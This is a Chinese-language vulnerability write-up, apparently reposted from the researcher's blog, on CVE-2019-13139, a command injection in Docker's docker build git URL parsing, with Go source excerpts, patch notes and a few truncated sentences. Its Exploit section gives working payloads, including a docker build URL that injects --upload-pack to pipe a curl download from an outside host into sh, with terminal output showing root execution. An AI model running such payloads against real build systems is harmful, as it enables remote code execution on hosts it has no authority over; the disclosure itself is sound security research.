CVE-2019-13139—Docker build时的命令注入漏洞

惊鸿一瞥最是珍贵 / 2019-07-24 09:17:00 / 浏览数 3603 安全技术 漏洞分析 顶(0) 踩(0)

前言

2019年上旬，当我在Troopers 2019中做一些漏洞挖掘工作时，我特地研究了构建系统和git如何导致安全问题，然后，我在Docker中发现了一个与git相关的漏洞。此漏洞已被标记为CVE-2019-13139，并在18.09.4版本中打了补丁。
这个bug是相对直接的命令注入，然而，使这个问题变得更有趣的是这个漏洞存在于一个Go代码库中。在我们进行安全研究的过程中，通常假设Go os/exec包不会受到命令注入的影响，这对于大部分安全研究来说都是正确的，但可能也有漏网之鱼，就像其他"安全"命令执行API(如Python的子进程)一样，看似安全的代

漏洞

发现漏洞的过程非常容易，作为我研究的一部分，我想看看哪些流行的工具依赖git，并且容易受到CVE-2018-11235的影响。Docker build提供了远程URL作为构建路径/上下文的选项，这个远程URL可以是一个git存储库。我在查看文档时注意到的第一件事是：

> 注意:如果URL参数包含一个片段，系统将使用git clone--recursive命令递归地克隆存储库及其子模块。

这清楚地表明Docker易受CVE-2018-11235的影响，我在这里也表明了这一点：
第二个我想说明的一点是：有多个选项可用于提供远程git存储库的URL。

```
$ docker build https://github.com/docker/rootfs.git#container:docker
$ docker build git@github.com:docker/rootfs.git#container:docker
$ docker build git://github.com/docker/rootfs.git#container:docker
```

在本例中，所有URL都引用GitHub上的远程存储库，并使用容器分支和docker目录作为构建上下文。这个机制令我百思不得其解，于是我查看了源代码：
查看下面的代码，首先是对remoteURL进行解析并将其转换为gitRepo结构，接下来提取fetch参数。以root身份创建临时目录，在此临时目录中创建新的git存储库，并设置

```
func Clone(remoteURL string) (string, error) {
   repo, err := parseRemoteURL(remoteURL)

   if err != nil {
       return "", err
   }

   return cloneGitRepo(repo)
}

func cloneGitRepo(repo gitRepo) (checkoutDir string, err error) {
   fetch := fetchArgs(repo.remote, repo.ref)

   root, err := ioutil.TempDir("", "docker-build-git")
   if err != nil {
       return "", err
   }

   defer func() {
       if err != nil {
           os.RemoveAll(root)
       }
   }()

   if out, err := gitWithinDir(root, "init"); err != nil {
       return "", errors.Wrapf(err, "failed to init repo at %s: %s", root, out)
   }

   // Add origin remote for compatibility with previous implementation that
   // used "git clone" and also to make sure local refs are created for branches
   if out, err := gitWithinDir(root, "remote", "add", "origin", repo.remote); err != nil {
       return "", errors.Wrapf(err, "failed add origin repo at %s: %s", repo.remote, out)
   }

   if output, err := gitWithinDir(root, fetch...); err != nil {
       return "", errors.Wrapf(err, "error fetching: %s", output)
   }
```

```
    checkoutDir, err = checkoutGit(root, repo.ref, repo.subdir)
    if err != nil {
        return "", err
    }

    cmd := exec.Command("git", "submodule", "update", "--init", "--recursive", "--depth=1")
    cmd.Dir = root
    output, err := cmd.CombinedOutput()
    if err != nil {
        return "", errors.Wrapf(err, "error initializing submodules: %s", output)
    }

    return checkoutDir, nil
}
```

在这一点上没有明显的问题。git命令都是通过gitWithinDir函数执行的。让我们继续：

```
func gitWithinDir(dir string, args ...string) ([]byte, error) {
    a := []string{"--work-tree", dir, "--git-dir", filepath.Join(dir, ".git")}
    return git(append(a, args...)...)
}

func git(args ...string) ([]byte, error) {
    return exec.Command("git", args...).CombinedOutput()
}
```

exec.Command()函数采用硬编码的"二进制"，"git"作为第一个参数，其余参数可以是零个或多个字符串。这不会直接导致命令执行，因为参数都是"转义"的，shell注入在c
没有保护的是exec.Command()中的命令注入。如果传递到git二进制文件中的一个或多个参数被用作git中的子命令，则仍有可能执行命令。这正是@joernchen在
CVE-2018-17456中的漏洞利用方式，他通过注入-u./payload的路径在Git子模块中获得命令执行，其中-u告诉git使用哪个二进制文件用于upload-pack命令。
回到解析Docker源代码，在查看parseRemoteURL函数时，可以看到所提供的URL根据URI进行了分割

```
func parseRemoteURL(remoteURL string) (gitRepo, error) {
    repo := gitRepo{}

    if !isGitTransport(remoteURL) {
        remoteURL = "https://" + remoteURL
    }

    var fragment string
    if strings.HasPrefix(remoteURL, "git@") {
        // git@.. is not an URL, so cannot be parsed as URL
        parts := strings.SplitN(remoteURL, "#", 2)

        repo.remote = parts[0]
        if len(parts) == 2 {
            fragment = parts[1]
        }
        repo.ref, repo.subdir = getRefAndSubdir(fragment)
    } else {
        u, err := url.Parse(remoteURL)
        if err != nil {
            return repo, err
        }

        repo.ref, repo.subdir = getRefAndSubdir(u.Fragment)
        u.Fragment = ""
        repo.remote = u.String()
    }
    return repo, nil
}

func getRefAndSubdir(fragment string) (ref string, subdir string) {
    refAndDir := strings.SplitN(fragment, ":", 2)
    ref = "master"
    if len(refAndDir[0]) != 0 {
        ref = refAndDir[0]
    }
    if len(refAndDir) > 1 && len(refAndDir[1]) != 0 {
        subdir = refAndDir[1]
```

```
    }
    return
}
```

并且repo.ref和repo.subdir很容易被我们控制。getRefAndSubdir函数使用：作为分隔符将提供的字符串分成两部分。然后将这些值传递给fetchArgs函数；

```
func fetchArgs(remoteURL string, ref string) []string {
    args := []string{"fetch"}

    if supportsShallowClone(remoteURL) {
        args = append(args, "--depth", "1")
    }

    return append(args, "origin", ref)
}
```

ref字符串被附加到fetch命令的args列表中，而不进行任何验证来确保它是有效的refspec。这意味着，如果可以提供`-u./payload`这样的ref，那么它将作为参数传递到git fetch命令中。
最后执行git fetch命令

```
if output, err := gitWithinDir(root, fetch...); err != nil {
        return "", errors.Wrapf(err, "error fetching: %s", output)
    }
```

Exploit

从上面可以知道，需要使用ref来注入最终的git
fetch命令。ref来自#container：Docker字符串，提供用于Docker上下文的分支和文件夹。由于使用的`strings.splitN()`函数在：上进行拆分,#和■之间的任何内容都将
`1:two`将导致执行最终命令`git fetch origin "echo 1`。这一点对我来说不是很有用，但不能半途而废。
下一部分是识别一个或多个参数，这些参数在传递到git
fetch时被视为子命令。为此，我查阅了一下git-fetch文档。事实证明，有一个理想的--upload-pack选项：

> 给定`--upload-pack <upload-pack>`,并且要获取的存储库由`git fetch-pack`处理时，`--exec=<upload-pack>`将传递给命令以指定在另一端运行的命令的非默认路径

唯一的缺点是，它用于“在另一端运行命令”，因此是在服务器端。当git url是`http://`或`https://`时，会忽略这一点。幸运的是，Docker
build命令还允许以git@的形式提供git
URL。git@通常被视为用于git通过SSH进行克隆的用户，但前提是所提供的URL包含：，更简洁的是：git@remote.server.name：owner/repo.git。当：不存在时，git将
fetch-pack的二进制文件。
因此，所有的星号都是对齐的，并且可以构造导致命令执行的URL。

```
docker build "git@g.com/a/b#--upload-pack=sleep 30;:"
```

然后执行以下步骤：

```
$ git init
$ git remote add git@g.com/a/b
$ git fetch origin "--upload-pack=sleep 30; git@g.com/a/b"
```

请注意，remote已经附加到-upload-pack命令中，因此需要使用分号(；)关闭该命令，否则`git@g.com/a/b`将被解析为sleep命令的第二个参数。如果没有分号，将会提示
`invalid time interval ‘git@gcom/a/b.git`

```
$ docker build "git@gcom/a/b.git#--upload-pack=sleep 5:"
unable to prepare context: unable to 'git clone' to temporary context directory: error fetching: sleep: invalid time interval
Try 'sleep --help' for more information.
```

这可以进一步转换为正确的命令执行(添加第二个#将清除输出，curl命令不会显示)：

```
docker build "git@github.com/meh/meh#--upload-pack=curl -s sploit.conch.cloud/pew.sh|sh;#:"
```

```
root@rev:/tmp/aaab#
root@rev:/tmp/aaab# ls -l /tmp/docker-cve
ls: cannot access '/tmp/docker-cve': No such file or directory
root@rev:/tmp/aaab#
root@rev:/tmp/aaab# docker build "git@g.com/a/b#--upload-pack=curl -s sploit.conch.cloud/pew.sh|sh;#:"
unable to prepare context: unable to 'git clone' to temporary context directory: error fetching: fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
: exit status 128
root@rev:/tmp/aaab#
root@rev:/tmp/aaab# ls -l /tmp/docker-cve
-rw-r--r-- 1 root root 18 Jul 16 18:30 /tmp/docker-cve
root@rev:/tmp/aaab# cat /tmp/docker-cve
Docker dice hola!
root@rev:/tmp/aaab#
root@rev:/tmp/aaab#
```


命令执行

补丁

这可能是构建环境中的“远程”命令执行问题，攻击者可以控制发出给docker build的构建路径。通常的`docker build . -t my-container`模式不会受到此bug的影响，因此，Docker的大多数用户应该不会受到此bug的影响。
我早在2月份就向Docker报告了这一情况，Docker在3月底18.09.4更新中打了一个补丁。因此确定你的Docker版本已经更新到最新，特别是有第三方存在的情况下，避免使

■■■https://staaldraad.github.io/post/2019-07-16-cve-2019-13139-docker-build/

上一篇：谈谈企业内部IT系统漏洞的挖掘 下一篇：sqli-lab全解析(Less2...

1. 0 条回复
   - 动动手指，沙发就是你的了！